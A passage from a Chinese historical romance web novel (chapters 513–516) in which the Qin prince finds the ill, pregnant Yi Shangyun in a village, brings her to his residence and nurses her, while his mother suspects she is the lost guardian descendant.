玉娘诚恳地说道:“衣姑娘于我们全家有大恩,这个时候,即便是在昏迷之中,她依旧为腹中的孩子担心着,可见她是有多么地重视那个孩子。如果我们不帮她,还有谁能帮她?娘,你放心吧,我自个儿的身子自个儿心里有数,不会有事的。” 说完,玉娘便挪开了自己的手,转而伸过去挠了挠小丫头的脑袋,最后对其交待说:“灵儿乖乖在家守着云姐姐和奶奶,娘去去就回。” 懂事的小丫头答应着道:“娘,你可千万一定要小心自己的身子啊。” 至此,玉娘温柔地对着俩人笑了笑,便兀自迈开步伐朝外走了出去。 第五百一十三章:灵溪庄 搜寻的人马各自分头行动,在城里找了许久许久,最后再次俱都失望地聚在了一个无人的街角。 轩辕翰询问程良:“怎么样?” 程良依旧无奈地摇了摇头,说:“昨夜风雨太大,路上根本就没有任何目击者,且不说滂沱大雨冲刷掉了所有足迹,现在已然过了正午,街上到处是熙熙攘攘的人群车马过后,更是无法分辨衣姑娘的行踪了。至今,都丝毫寻不到关于衣姑娘的一丁点儿去向。” 闻此,天知道,此刻那张一向看似面无表情的冷厉脸孔下,其内心深处却是有着多么地焦急而又无奈。 “既然你已经回来,还到过秦王府,又为何不见本王?若非念念不忘,你又何必如此?你这究竟是何意思?这辈子,难道本王,真的就要这样失去你了吗?” 遂默想了一瞬,自己好不容易再次鼓起勇气来面对,轩辕翰始终都不愿如此轻易就放弃,于是让自己重新打起精神来,沉声命令道:“继续找,本王不相信,一个大活人,还能凭空消失了不成。” 队伍尚未走出多远,轩辕翰忽然觉得有一束亮光射到了自己的眼睛,于是勒马停了下来。 这才看到前方右手边,似是隐隐约约有一条羊肠小道通向远方深处,便问:“那是通往什么地方?可还是我西秦的领土。” 闻声,程良追随其目光所向,透过一片郁郁葱葱,茂密的树林,肯定地说道:“此乃是我西秦的领土,没错。” 语气里显然有些自豪:“前方通向的地方唤作灵溪庄,是一个上下左右全部加起来也不到十户人家的极小村庄。因为村庄前面有一条小溪,水色如黛,澄清可掬,又常年从不结冰,仿佛有灵气一般而得名。传闻说,每逢桃花争妍时,灵溪河中便可以看到一种形似桃花、分身四瓣、晶莹透明的鱼,这是只有灵溪河特有的稀有鱼类,人称桃花鱼。” 闻此,轩辕翰又问:“那灵溪庄,算不算是一个与世隔绝的世外桃源呢?” 程良笑了笑,说:“那倒没有,从灵溪庄到城里是司空见惯了的事。” 看到主子一边听,似是有些若有所思着,程良顿回过神来说:“殿下难道是在怀疑……可这距离城西衣府已经太远了,大雨之夜,凭借一个女人的体力,是不可能穿过那片树林,更不可能淌过那条溪水走那么远的。” 然轩辕翰却道:“可万一若是有人恰巧路过,相助于她呢?” “有人相助……”话音未落,尚未来得及程良反应过来,轩辕翰便自顾自策马扬鞭直朝着那片树林奔了过去。 “救命,救命啊!” 就在队伍进入树林不久,轩辕翰忽然听到周围隐隐发出一阵男子求救的声音。 于是,便命人循声去察看。进到树林后,方才发现这片树林远远不止从外面所看到的那么简单。 外面方才明明春光明媚,天气晴朗。可一到了树林深处,却是到处阴暗潮湿,烟雾缭绕着。 更奇特的是,树林虽然不大,可林中到处看起来却像是一样的,让人不禁连方向都难以辨别。若不是有着极其丰富打仗作战经验的人,进来后怕是真的一定会迷路被困死在里面。 可或许,这也正好成为了灵溪庄的天然保护屏障,以免被外人打扰。 很快,侍卫们便发现在一个小山坡下果然有一个正奄奄一息的男子,靠身在一颗粗壮的橡树杆上,周围杂草众生,几乎要将男子淹没一般,若不仔细找,着实很难被发现。 树下还有几座坟,掩着青草,几只乌鸦在树上安了巢,时不时地发出"啊!啊!"的声音,叫得人直发悚。 程良急急命人下去查看,霎时,一侍卫急急回来禀报说:“启禀殿下,将军,有一自称是灵溪村村民的男子不小心失足跌落山坡,伤了筋骨,不得动弹。” 正说着,便有另外两名侍卫将那名男子驾着胳膊,带了上来。 程良一看清那人的面孔,顿时朝其惊呼道:“赵平安,是你!” “程将军”那男子说着,亦是同时认出了眼前的尊贵身份,顾不得身上的伤痛,当即朝其跪身下去:“草民参见秦王殿下千岁,千岁,千千岁。” 轩辕翰依旧冷声着道:“起来吧。” 既而,两名侍卫复又再次将赵平安搀扶起来。 程良见他如此狼狈不堪的模样,不解的问。“你怎么会在这里?又为何跌落山坡受伤了呢?” 赵平安这才忽觉伤口隐隐作痛,程良意识到这一点后,便命侍卫当场为他包扎。 赵平安席地而坐,回忆着说道:“将军有所不知,草民的家就住在附近,只因昨日进城送水回来晚了,当时又逢天降大雨,漆黑的夜里,草民在回来的路上遇到一位姑娘晕倒在路边。草民便在城里找了许久,可街上商家俱都早已经熄灯打烊了。” 正说着,忽觉腿上一阵难以忍受的吃痛感,赵平安不禁倒抽了口气,发出一声:“嘶” 复又继续说:“不得已,草民最后便只能将那姑娘带回到草民的家里。许是因为淋了那场大雨,那姑娘竟一直高烧不退。且草民的娘子又发现那姑娘已经有了三个月的身孕。平常的药石已然不得进食。故草民便又连着往城里赶,想要寻个大夫回去。岂料,原本想要抄近路穿过这片林子,哪知夜里又逢雨天路滑,一不小心,便就从这里跌了下去……” 听到赵平安的话,轩辕翰顿觉脑子里一片混乱,他最担心的事,果然还是发生了。 余下的话,他早已听不进去,只愣愣地看着赵平安的嘴一张一合。 忽然,轩辕翰开口将他的话打断,沉声问:“你所救的那女子,可是云儿?” 赵平安仔细回忆了片刻,说:“当时夜里太暗看不清,那姑娘浑身都被雨淋透了,不停地发抖,嘴里胡言乱语也不知道都在说些什么,只听一个劲儿的喊着什么对不起,还有孩子之类的,草民也没来得及仔细瞧那姑娘的脸,便就急急赶着出门了……” 赵平安还在说着,然轩辕翰一向那般沉稳冷静的一个人,此时再也按耐不住心里的担忧,一把将他拽过甩上马背,自己与其一道共乘一骑朝前狂奔了去。 一队人马浩浩荡荡地穿过了茂密的树林,马蹄越过一条果然闪闪发光颇为优美的小溪。 溪水落到岩石上,发出清脆悦耳的声音。现出一个依山而建,掩映在青山绿水之间仿佛被世人遗忘了的角落,时间似乎都静止了一般。 在这静谧美好的时光里,正午时分,稀疏分散着的仅有的几户人家屋顶上,烟囱里正缓缓升起一缕缕炊烟袅袅。 刚到村口,远远地,赵平安便看见了那个熟悉的身影,一个大腹翩翩的女人正挺着滚圆的肚子吃力的埋头赶路。 于是,他一边朝其用力地挥手,一边惊声叫道:“玉娘,玉娘……” 马蹄刚一停下,赵平安便迫不及待的跳下马去,一瘸一拐的飞奔上前将妻子紧紧扶助,关切地说:“你都快要临盆了,怎么还到处乱跑呢?” 玉娘虽然心里有些责怪生气,然却见自己的丈夫尚且平安,于是安心了许多,便开口怪道:“这还不都怪你,你请的大夫呢?从昨天夜里到现在,已经都晌午了,怎么还不见你把大夫请回来呢?衣姑娘都快烧糊涂了你知不知道?那可是咱们全家的大恩人呀!” 赵平安一听,惊看向她的脸,瞬间恍然大悟:“你说什么?她……她真的是衣姑娘?” “千真万确,我骗你做什么?”玉娘点了点头,这才发现他腿上被包扎过的痕迹,慌忙问:“你这腿怎么了呀?” 赵平安这才忽地回过神来,着急地说:“我没事,只是夜里穿过树林时脚下一滑不小心跌了一跤,并无大碍。玉娘你快看!谁来了?” 玉娘只顾着和赵平安说话,一时竟忘了其身后的来人,待其放眼过去一看,顿时惊呆了:“是……是……秦王殿下,玉娘参见秦王殿下,千岁,千岁,千千岁。” 说着,便屈膝准备朝其跪身下去。 轩辕翰及时开口将其阻止:“你身子多有不便,就不必行礼了。” “谢殿下。” 玉娘刚一站直,轩辕翰便问:“本王问你,云儿此刻,她真的就在你家吗?” 闻此,玉娘忽然急地哭了起来,一边用帕子抹泪,一边道:“秦王殿下,你快救救衣姑娘吧!她快不行了。” 轩辕翰顿时瞪大了眼睛,惊声道:“你说什么?云儿她……” 未及把话说完,轩辕翰拔腿便朝玉娘身后的深巷子里急奔了进去。 “咣当”一声响。 两扇破旧的柴门,忽地被人从外面推开。 知道自己魂牵梦绕,寻寻觅觅,心心念念的女人,此刻就躺在里面的屋子里,不知为何?轩辕翰的脚步忽然变得沉重了起来。 此刻,他将一双大手附在门板上,一只脚尚还留在门外,另一只脚亦才刚刚跨过门槛落地。 就这样的姿势站在门口顿了顿,也不知他想了些什么。最后咬了咬牙,深吸了口气终于复又再次迈起步来。 屋内,老婆婆与其孙女听到了院子里的声音。以为是儿子终于把大夫请了回来,便急急出门来查看。 第五百一十四章:幸好你还在 屋内的老婆婆与其孙女听到了院子里的声音,以为是儿子终于把大夫请了回来,便急急出门来查看。 刚一出门,却顿时被眼前的男人惊呆了! 愣愣地怔在原地里,似是半晌都没有反应过来,刚一回神,老婆婆牵着灵儿的手紧忙下跪:“参见秦王殿下千岁,千岁,千千岁。” 轩辕翰看到眼前熟悉的俩人,眼睛眨了两下,似是连话都说不出来。 他怔怔地看着老婆婆的脸,老婆婆激动地说:“秦王殿下,您终于来了!衣姑娘打从一进门,迷迷糊糊中便一直喊着殿下的名字。” 仿佛都不敢相信自己的耳朵,此时所发生的一切,轩辕翰甚至错误地以为都是在梦里一般那样的不真实。 遂缓步走向老婆婆的身边将她扶起,朝她再次确认:“云儿,她真的回来了?她真的……一直在念着本王。” 老婆婆一边起身,一边尤为认真地朝其点了点头,说:“衣姑娘,她的确是真的回来了。可她现在的情况很不好,真的很不好,殿下赶紧进去看看吧。” 闻此,轩辕翰忽觉心里咯噔一下,从未想过自己的脚步会有这么沉重的时刻。 自从上次一别,他日思夜想等了这么久,盼了这么久。 可终于等到了,盼到了,此刻,那个让他魂牵梦绕,又爱又恨的人就在眼前,仅仅只有一墙之隔,可为何就在这个时候,他却迟疑了起来。 不可否认,他的心终归是矛盾的,事到如今,他到底该如何继续面对她?面对她们的感情?面对她腹中已然怀了别人孩子的事实? 虽说,他已经决定好即便这一生相看两相厌,他也要把她一辈子锁在自己的身边。可是,人生路漫漫,未来的日子那么长,他真的能坦然面对,接受这一切吗? 看到轩辕翰若有所思,犹豫不前的脚步,老婆婆在一旁着急地催促道:“殿下,衣姑娘的身子是真的不能再耽误下去了,否则,她腹中的孩子怕是就保不住了。” “孩子?” 闻声,轩辕翰忽觉有一种极其邪恶的想法在他的脑子里油然而生:“或者这个孩子,他根本就不该来到这个世上。兴许没有了这个孩子,他还可以当他们之前所有的不愉快一切都没有发生过,她从未背叛过自己,而他,也可以与她重新……” 就在这时,屋内忽然传出一阵他期盼已久的熟悉的声音将他的思绪打断:“殿下……” 这一刻,直到真真切切地听到了她的呼唤声,轩辕翰顿时停止了所有思虑,卸下所有理智与防备,着急地上前两步伸手一把掀开了门帘,终于跨过脚走了进去。 来到床边,这才看到她额头敷着一块儿布巾,可依然满脸通红,神志不清地昏迷着,嘴里迷迷糊糊说着:“殿下,对不起,真的对不起!孩子,我的孩子……” 闻此,他忽然开口恨恨地责怪道:“那日在东宁,你那般决绝地拒绝了本王,说你要做全天下最尊贵的女人。于是,本王好不容易才决定要放弃你,本王成全你的心意。可你为什么又要偷偷跑回来?你不是要做南安国的太子妃吗?为什么会成现在这个样子?这一切,都究竟是为什么?为什么?你说啊,你回答本王。” 可显然此刻他得不到任何答案,轩辕翰端详了这张脸孔一会儿,最后艰难地缓缓伸出手过去,想要拿掉她额头上的布巾,却不小心触到其光洁的额头,这才发现她情况真的很不好,额头仿佛是在被火烧一般滚烫滚烫。 此情此景,轩辕翰见了顿时心疼极了。 终是气归气,看看眼前情况如此危急。已然再也来不及思考其他,心一横,轩辕翰终于伸出了双手过去,一把将其从床上横抱了起来。 转身出门,翻身上马,所有动作几乎是一气呵成。 此情此景,刚好赶过来的程良一见瞬间惊呆了,追着主子问:“殿下,衣姑娘她这是怎么了?” 岂料轩辕翰根本不理他,兀自只顾着上马后,大力地用马鞭狠狠抽了马股一下,便拥着怀里的人儿兀自扬长离去。 老婆婆牵着小孙女站在门口的巷子里,望着其渐行渐远离去的背影,激动地说:“有救了,有救了,衣姑娘这下终于有救了。” 夜色沉沉,花阴寂寂,水光悠悠。 皇城的夜晚,一切静的仿佛要令人窒息一般。 城东街头,一正红色朱漆大门顶端悬着的黑色金丝楠木匾额上题写着“秦王府”三个字,在夜里烛火的映衬下显得那般的气势磅礴。 秦王府林月轩里,此刻正一片灯火通明。 双手负后着一直寸步不离静静地守候在屏风外的轩辕翰,听到耳边终于响起越来越近的脚步声,背对着来人沉声问道:“怎么样?” 已经忙活了大半夜的乐太医拭了拭额头的汗,面露疲色着道:“殿下放心,这姑娘幸好得以之前有人悉心照顾。加之如今微臣施了针,又服了药汤,姑娘的烧如今已经退下去了,腹中胎儿也已无大碍。只是怀孕初期的妇人本就辛苦,且姑娘昨夜又淋了一场大雨,所以现在身子极其微弱,接下来的几日里,务必要好好调养才是。” 心中的担忧总算是落了地,闻此,轩辕翰终于松了口气,既而依旧背对着他冷冷地道:“本王知道了,你去告诉张嬷嬷,让他稍后亲自来这边小心伺候。” “是”乐太医答道。 收拾好药箱,乐太医正捧着准备退身出去。 偌大寂静的宫殿里,忽然再次响起那威严的声音来:“对了,别忘了把该交代的都要亲自仔仔细细清楚地交代给张嬷嬷,千万不可再出任何差错。还有……告诉张嬷嬷,等她醒来,就说是……张嬷嬷在街上遇到,将她带回王府的。” “是”乐太医稍作思索,应声道。 乐太医离开后,轩辕翰方才深吐了口浊气,转身缓缓移步越过屏风,走到榻边,撩起袍角坐了下来。 衣上云现在的情况看起来确实明显比方才好多了,脸色基本已恢复如常,呼吸平稳,正安静地睡着。 轩辕翰朝其凝视了许久,目光温柔又贪婪地落在她脸上的每一个角落。 过了一会儿,不由自主地抬手过去想要抚一抚那久违了的脸庞。 然而,手升到半空中却又顿住,迟疑了半晌,犹犹豫豫间最后还是将其收了回来。 往事一幕幕,悲喜交加,再次如潮水般袭上心头,思绪无边蔓延。 …… 最后,终是千言万语说不出口,只得细心地为其捻好被角,默默地说了句:“无论如何,本王都感激上苍,幸好你还在。” 乐太医从林月轩里一出来,便急急到处去找张嬷嬷,最后在纯太妃的紫和轩里找到了她。 纯太妃得知了今日这件事的来龙去脉后,惊讶地问乐太医:“殿下他……真的是这么说的?他让你亲自交待张嬷嬷,且点名了要张嬷嬷去伺候那个姑娘?” “回太妃娘娘,殿下的确是这么交待微臣的。”乐太医如实禀告说。 闻此,纯太妃与张嬷嬷不约而同地面面相觑在一起。 片刻后,张嬷嬷试探着问:“不知乐太医见那姑娘,看她面相可曾相识?” “似乎……”乐太医想了一瞬,最后还是摇了摇头。 纯太妃暗自想了想,说:“今日有劳乐太医了,你先下去歇着吧,张嬷嬷等会儿便过去伺候。” 乐太医抱拳行礼,退了出去。 张嬷嬷暗自思量了片刻,能让轩辕翰如此上心重视的人并不算多,可显然衣上云算得上一个。 于是,她纳闷地道:“难道今儿早上出现在王府门前的女子真的是她?殿下这么快便就找到她了?” 一念至此,她看着纯太妃的脸,猜测说:“娘娘,您说殿下带回来的那位姑娘,她会不会就是……” 纯太妃思量再三,吩咐说:“此事事关重要,先不要声张,你收拾收拾,先去林月轩看看吧。” 张嬷嬷应声道:“是,老奴明白。老奴先伺候娘娘歇息,稍后便过去。” 月潜日升。 天一亮,轩辕翰竟不请自来地出现在了纯太妃的紫和轩里。 此刻,纯太妃正在书房里颇为认真地做一幅画,轩辕翰上前朝其恭敬地行礼道:“儿臣给母妃请安。” 纯太妃并没有抬头,依旧认真地置身于优雅的起笔,落笔间,只说:“今儿皇儿怎么这么早便过来给母妃请安了?” 若是纯太妃没有回府,轩辕翰做任何事,任何决定,自是不用跟任何人报备。 可既然纯太妃已然归来,有些事,他还是得知会她的,依旧不愿意多做寒暄,直奔主题着说:“想必母妃已经得知,昨儿夜里儿臣带回一女子来。” 岂料纯太妃竟然想都没想,脱口即出:“皇儿说的是不是永宁公主?” 轩辕翰一听,顿时朝其瞪大了眼睛惊声道:“母妃是怎么知道的?” 纯太妃依旧在认真地作画:“皇儿,你是母妃辛辛苦苦十月怀胎身上掉下来的一块肉。所谓母子连心,这些年,母妃虽不在你身边,的确错过了许多。但终归你是母妃所生,母妃又怎会不了解自己的儿子?” “母妃……我……”一时间,轩辕翰竟不知该如何回答。 就在这时,纯太妃的画似是已经完成了,她轻轻地放下手里的笔,吹干墨迹,将轩辕翰叫了过去…… 第五百一十五章:花与刺 纯太妃认真地作着画:“皇儿,你是母妃辛辛苦苦十月怀胎身上掉下来的一块肉。所谓母子连心,这些年,母妃虽不在你身边,的确错过了许多。但终归你是母妃所生,母妃又怎会不了解自己的儿子?” “母妃……我……”一时间,轩辕翰竟不知该如何回答。 就在这时,纯太妃的画似是已经完成了,她轻轻地放下手里的笔,吹干墨迹,将轩辕翰叫了过去:“皇儿,过来看看母妃的这幅画画的如何?” 轩辕翰近身上前过去朝其一看,不禁瞬间惊呆了。 稍回过神来,顿惊看向她的脸道:“母妃昨儿夜里已经去见过她了?” 纯太妃只不过是凭借记忆,画下了多年以前在宫里曾见过一眼的守护者后人画像而已。可见轩辕翰神情如此慌张,此刻的她心里又是何尝不惊讶:“看来这个永宁公主,的确和守护者后人的模样十分相似。” 昨儿夜里,她辗转反侧睡不着觉,于是便想了这个法子。知道府里发生了这事,轩辕翰今天一早定会来向她禀报,于是便可乘机试他一二,看来还真是凑效。 纯太妃似是瞬间明白了一切,然嘴上却说:“皇儿为何如此紧张?即便是丑媳妇,也是早晚要见公婆的。母妃又何必急于那一时?况且,那公主尚且还病着,最是忌讳被外人打扰。加之,母妃身子一向较弱,要是被过了病气,岂不是白白给皇儿增添了许多的负担。” 闻此,轩辕翰方才稍松了口气,道:“母妃,儿臣不是那个意思,儿臣……只是连自己都还没有准备好……” 未及轩辕翰将话说完,纯太妃着急地开口将其打断:“好了……你的心思,母妃都明白,母妃还是那句话,只要皇儿喜欢,母妃便就喜欢。母妃……相信自己的儿子,母妃等着,等着你们的好消息。” “儿臣,多谢母妃。”轩辕翰感激地道。 纯太妃笑了笑,兀自缓缓挪步向着窗户另一旁的茶几边走过去。 轩辕翰紧随其后跟着,纯太妃一边走一边方才解释说:“其实,这幅画,只不过是母妃今儿晨起闲来无事,一时兴起随便所画而已。不想竟巧了,原来,让皇儿魂牵梦绕的永宁公主长得就是如此模样,果然是个倾国倾城的美人儿!皇儿的眼光果然不俗。” 轩辕翰心里半信半疑着,不知纯太妃此举究竟是何意? 纯太妃来到茶几边上落座下来,一边拿出一对莲花陶瓷茶碗泡茶,一边问:“对了,自打回到王府,母妃一直都还没来得及问皇儿,这么多年过去了,不知皇儿这些年可有寻到守护者后人的消息?” 闻此,轩辕翰心中顿觉咯噔一下,遂将双目一定,莫非母妃已经知道了什么,思虑片刻后,镇定地反问:“母妃为何忽然问起守护者后人来?” 纯太妃将刚泡好的一盏清茶递到轩辕翰的面前,笑着道:“皇儿不要多想,母妃只是随便问问而已。自打多年前遗失了守护者后人之后,我西秦境内便时有灾祸发生,母妃近日又听说,东部边境地区已有疫情传出,让人十分担忧。想若是守护者在的话,一定能佑我西秦大地安宁昌盛。” 看着轩辕翰伸手接过自己递去的茶汤,纯太妃笑了笑,说:“这些年,很多的夜里,母妃总会梦到你父皇。说他后悔当年实在不该不听取群臣的觐见,逼迫守护者后人进宫,这才致使我西秦大地意外丢失了守护者的力量守护。” 纯太妃轻抿了一口茶汤,脸上露出一抹忧色,说:“众所周知,守护者所拥有的强大力量非常神秘,得此力量者得天下。灵空各国更是一直都在虎视眈眈地觊觎我西秦守护者的力量,从未停止过,皆都怀疑当年守护者出了意外后是生是死尚未可知。自然,也定会派人在暗中调查寻找。如果万一这股力量被他人夺了去,那我西秦岂不是危在旦夕?” 岂料轩辕翰似是根本就没有专心听她所讲,沉浸在自己的心事里:“如果云儿是西秦守护者后人的身份一旦暴露,那她便会成为供天下掠夺的众矢之的。如此,即便她恨我,我亦宁愿将她一生都困在自己身边。至少,她是安全的。” 遂开口信誓旦旦地道:“儿臣明白,儿臣一定派人加紧寻找守护者后人,以保我西秦大地千秋万代,永世长宁。” 似是从轩辕翰的表情举止看不出任何破绽,纯太妃心中着实纳闷:“莫非,难道皇儿是真的还不知道那永宁公主便就是遗失了的西秦守护者后人吗?” 一念至此,只闻纯太妃最后只淡淡说了句:“那就好!” 母子俩遂坐在一起继续品茗,却是各自心里都揣着各自的心事。 轩辕翰离开后,在林月轩里伺候了一整晚的张嬷嬷终于回到了紫和轩。 一回来,她便不停歇地急着去找纯太妃。 纯太妃此刻正在婢女欢儿的陪伴下,在园子里赏花,喂鱼。 一看到张嬷嬷过来,先开口问:“怎么样,那丫头可已经好些了?” 张嬷嬷道:“回娘娘的话,姑娘的身子已经好多了,天还没亮便就醒了。许是尚还未痊愈,身子还有些重,过了没多久迷迷糊糊地便又睡过去了。” “现在人可还在林月轩里?”纯太妃从欢儿双手里捧着的罐子里舀了一勺鱼食,问。 “已经命人搬去云水阁了。”张嬷嬷道。 看到罐子中的鱼食已经见底,纯太妃将勺子递给身边的婢女,说:“拿下去吧。许是年纪大了越来越经不起一点儿风吹,回来的时候记得顺便把本宫的披风也拿来。” “是”欢儿接过罐子,慢慢退了下去。 于是,张嬷嬷上前将其扶住,这时,纯太妃方才开口问:“确定真的是她?” “老奴确定,那副眉眼和模样,的确是衣府的那个丫头,她脸上的毒疮果然已经被治好了。”张嬷嬷点了点头,肯定地道。 纯太妃想了想,说道:“今儿一早,皇儿来了紫和轩,本宫亦试了试探他。” “试探殿下?”张嬷嬷惊讶地问。 纯太妃缓步离开鱼池,边走边说道:“本宫早起画了一幅记忆中的守护者后人的画像,你猜皇儿见了是何反应?” 张嬷嬷着急地问:“殿下说什么了?” 纯太妃说:“皇儿竟以为本宫画的是那个丫头,他怀疑本宫夜里悄悄去见过她。” 穿过了一道圆形的拱门,俩人来到了一片花园。 这里的花花草草,皆都是纯太妃自己亲手所种。 尔今只不过数日未来整理,便见花苗在气候适宜的季节里竟长得如此飞快。没多长时间,便早已不知不觉地到处枝繁叶茂,只是看起来便有些凌乱得很。 于是,她拿起剪刀,一边亲自修剪,一边疑惑地问:“你说,皇儿他究竟知不知道衣府那丫头便是守护者后人。” 张嬷嬷一边帮忙,回忆着过往这几年,想了想,说:“老奴瞧着,殿下对这件事好像并不知情。这些年,从未听府里有人提及过此事。” 纯太妃自个儿想了一个早上,亦是没想透彻,总觉得哪里不对劲,可又说不清楚。 “嘶”就在这时,纯太妃忽然发出一阵声音。 “娘娘小心!”张嬷嬷放眼过去一看,原是纯太妃的手被一株花苗上的刺刺中,说着便拿出帕子过去替其包扎。 看到一个花骨朵竟被一身的尖刺保护着,纯太妃忽然似是惊觉明白了过来,便说:“不,皇儿他知道,他早就知道了。他不但知道谁是真正的守护者后人,他还爱上了她,爱的不能自拔。他知道这件事情一旦公诸于世,各国势力便会纷纷前来强夺。而守护者也只有与当朝真命天子心意相通,方才能守护我西秦安宁。将自己心爱之人拱手让人,皇儿终究是舍不得,他想保护她,却左右为难。” 在纯太妃的细致分析下,张嬷嬷如梦出醒般终于明白了过来,忙问:“那我们现在该怎么办呢?” 纯太妃想了想,忧心地说:“此事千万不要声张,若是让宫里知道守护者后人已经找到,而且目前就在秦王府,那可真的就要天下大乱了!” 张嬷嬷一听,顿时只觉心乱如麻,心里碎碎念道:“天底下那么多人,为什么偏偏是她?多好的一个姑娘啊,怎么就不能安安稳稳地生活一辈子呢?” 想着想着,张嬷嬷忽然吞吞吐吐了起来:“娘娘,还有一事,老奴不知该怎么说?” 纯太妃仍然继续在认真地修剪花枝,道:“秦王府里有什么事,竟会连你都如此难以开口?” 张嬷嬷亦是从昨夜至今都难以置信:“太妃娘娘,那丫头……那丫头……她……她已经有三个月的身孕了。” “咔嚓”一声。 顿时,只见从纯太妃的手里落下来一个粉嫩的花苞。 纯太妃整个人惊呆了,简直不敢相信自己的耳朵,立在原地看着张嬷嬷的脸,道:“你说什么?” 待其一回过神来,问:“可知她腹中的孩子是谁的?” 张嬷嬷摇了摇头。 “已经三个月了……”纯太妃说着,暗自算了算日子,却不禁被吓了一跳…… 第五百一十六章:花都开好了 云水阁阁楼上,轩辕翰没日没夜的悉心守在衣上云的榻边。 说是让张嬷嬷细心照料,实则除了替其更换贴身衣物,梳洗之外,阁楼里便只有他一人寸步不离地守着。 有的时候,不知什么原因,衣上云始终都不愿意进食,他便亲自将她扶起身来嘴对嘴喂她,直到她慢慢咽下食物他才安心。 转眼已是三日过后,又一个万籁俱静,月上树梢的夜半时分。 窗外晚风轻送,似是情人间亲密的窃窃蜜语。 屋内,昏黄的烛火照耀下,轩辕翰正眼神极尽温柔地凝视着榻上人的脸。 衣上云的脸色如今已然明显红润了许多,乐太医也已亲自多次替其把脉,诊断其身体因为照顾得很好,如今早已尽数恢复。可不知为何,却始终都不见其睁开眼睛清醒过来。 轩辕翰看着眼前此刻这张让他又爱又恨,熟悉却又陌生的面孔,心里五味杂陈。 “本王命令你,快点给本王醒过来,本王不准你这样躺着,睡着,对本王不理不睬。这次,你又想睡多久?” “与你分开的这些日子里,你可知道本王有多怨你,恨你……却又有多想你,念你……” “本王想你每日里有没有好好吃饭,好好睡觉,好好照顾自己,不要事事总是想着替别人出头做主,独独委屈了自己,甚至……” “甚至本王还想,那南安太子对你可还好,有没有为难你?” “对你,本王还有好多好多话没有说。你可知道,本王的人生,全都因为你的出现而被彻底打乱……事到如今,本王究竟该拿你怎么办?” “在你的心里,难道真的就没有本王的哪怕是一丁点儿位置吗?” “既然如此,在东宁本王深陷牢狱中时,你又为何要……” “你一而再,再而三的将本王玩弄于鼓掌之上戏弄本王,对本王忽冷忽热,让本王深感与你之间总是若即若离,你到底为什么如此残忍地对待本王?” “你可知道,在这世上,从未有人让本王如此地犹豫不决。” “你,究竟是什么人?衣府嫡女,东宁国永宁公主,我西秦国遗失多年的守护者后人……可冥冥之中,打从第一次认识你之后,本王便经常会梦到一个奇怪的世界,那里也有一张与你相同的面孔,还有一张模糊不清的男人的脸。本王总觉得,本王所认识的你,似乎还应该有些什么?” …… 就在轩辕翰坐于榻边,断断续续地暗自发出这一阵又一阵的自言自语时,忽然传出衣上云恍如梦魇般的声音来。 “魏明轩,不要丢下我,你到底去哪儿了?你回来,快回来,你若再不回来,就真的来不及,来不及了……” 闻此,轩辕翰顿回过神来,忽觉心里咯噔一下,遂怔怔地看着衣上云的脸,默默地跟着重复了一句:“魏明轩……” 说着,似是回想起了什么,情不自禁地将置于膝盖上的两只骨节分明的大手紧紧握成了拳,咬牙说道:“这个魏明轩究竟是谁,竟然让你如此牵肠挂肚,即便是在自己性命堪忧之际,还能如此令你念念不忘。” 深深地吸了口气后,说:“本王一定要将这个人找出来碎尸万段。” 说完,便起身忿忿离去。 这时,屋内复又响起那阵迷迷糊糊的声音:“殿下,救我,救救我,救救我们的孩子,那是……那是我们的孩子……我们的孩子……” 云卷云舒,又是一个阳光明媚的一天来临。 当撒入人间的第一缕阳光透过窗棂射到屋内,榻上的衣上云眼珠子咕噜咕噜转了两下,终于缓缓地睁开了双眸。 伴随着视线变得渐渐清晰起来,她看到周围的一切,都是那样的熟悉,不禁惊讶地坐起身下榻来。 指尖轻轻抚过自己熟悉的这一切,她激动地不禁流下了眼泪:“殿下!云儿终于回来了。” 倚窗而立,看着窗外的海棠花,正在清晨微风的吹拂下洋洋洒洒地漫天飞舞着,一片片粉嫩粉嫩的花瓣儿在阳光的照射下熠熠生光。 原来岁月也可以如此安暖,所谓的“与世无争,岁月静好”,是不是就是这个样子的呢? 此情此景,只见她缓缓闭上了眼睛,又微微抬起头来,继而用鼻子深深地呼吸了一下这熟悉的新鲜空气,像是接收到了什么新的讯息,她忽地打开眼睛,自言自语道:“这空气里所夹杂着的味道,莫非是……” 话未说完,便急急奔下了楼去。 王府花园里,春风习习,杨柳青青,烟波渺渺,春日里的一切,都好不温柔。 庭院一角,芍药含泪,蔷薇静卧,惹人怜爱。桃花出篱,花蕊半绽,似少女般嫣然含情,跃动着脉搏。 沿着花园里的一条青石板路,一连穿过了好几道圆形的拱门,最后竟现出了一座山坡,山上尽是一片茂密的竹林。 春色雨中过,一场大雨过后,醉了青山,入了芳菲,眼看着一年春色将尽,莫负暮春好时光。 衣上云追逐着那股熟悉的气味,徜徉穿梭于竹林之间。 所到之处均见雨后染就了一溪新绿,绿水黄柳,鸥白双飞,这动人的春日画面,美如画卷一般,远处的楼台若隐若现,似有似无,更是别具一番风味。 伴随着所追逐的那股味道越来越浓,不知不觉间,便已穿过了整片竹林。 就在这时,忽觉一阵暖风朝自己袭来,她这才顿足停了下来,立在山坡上向着前方眺望了一眼,却是顿时惊的整个人都站在原地里,半晌不得动弹。 在她的面前,现出一条碧绿清澈的湖水来,湖中央有一个小岛。 放眼望去,引入眼帘的尽是一片望不到边际的花田。 衣上云看到山坡下的湖边有一叶扁舟,便迫不及待地朝其奔了过去,上船摇起了船桨,缓缓滑向湖中央。 一上岸,便跳下了船来,满面欣喜若狂地奔到花田边道:“果然是芍药。” 只见面前这片巨大的花田里,迎着湖边温暖的微风,各色芍药花一朵朵争相盛开着正在徐徐摆动,在一丛丛绿叶的衬托下,显得格外地鲜艳明丽。 生怕自己一不小心便踩踏到花朵,于是提起裙摆来小心翼翼的踮起脚尖,走进这偌大的芍药园置身于其中,漫步在芍药花海。 走近细赏,花密而艳,每一朵芍药都随着阳光在肆意盛放。百里飘香,朵朵花儿在和煦的轻风里摇曳轻摆。 春意暖,绿意浓,火红的芍药竞相开放,引来了无数蜜蜂与蝴蝶在花丛中穿梭,飞舞,嬉戏,到处一派繁花似锦的景象。 远远望去,一望无垠的芍药花随风荡漾,层层叠叠,似是一片鲜艳的花的海洋,十分壮观。 粉色、白色、翠绿……各种颜色交织在一起一眼望不到边,仿佛与天相接,如梦似幻。 就在她为此而惊叹不已时,眼前忽然再次现出一个像是被各种颜色的花朵装饰地尤为隐蔽的东西,正飘飘荡荡地随风轻晃着。 衣上云瞬间眼前再次一亮,遂口中喃喃细语道:“那是……秋千?” 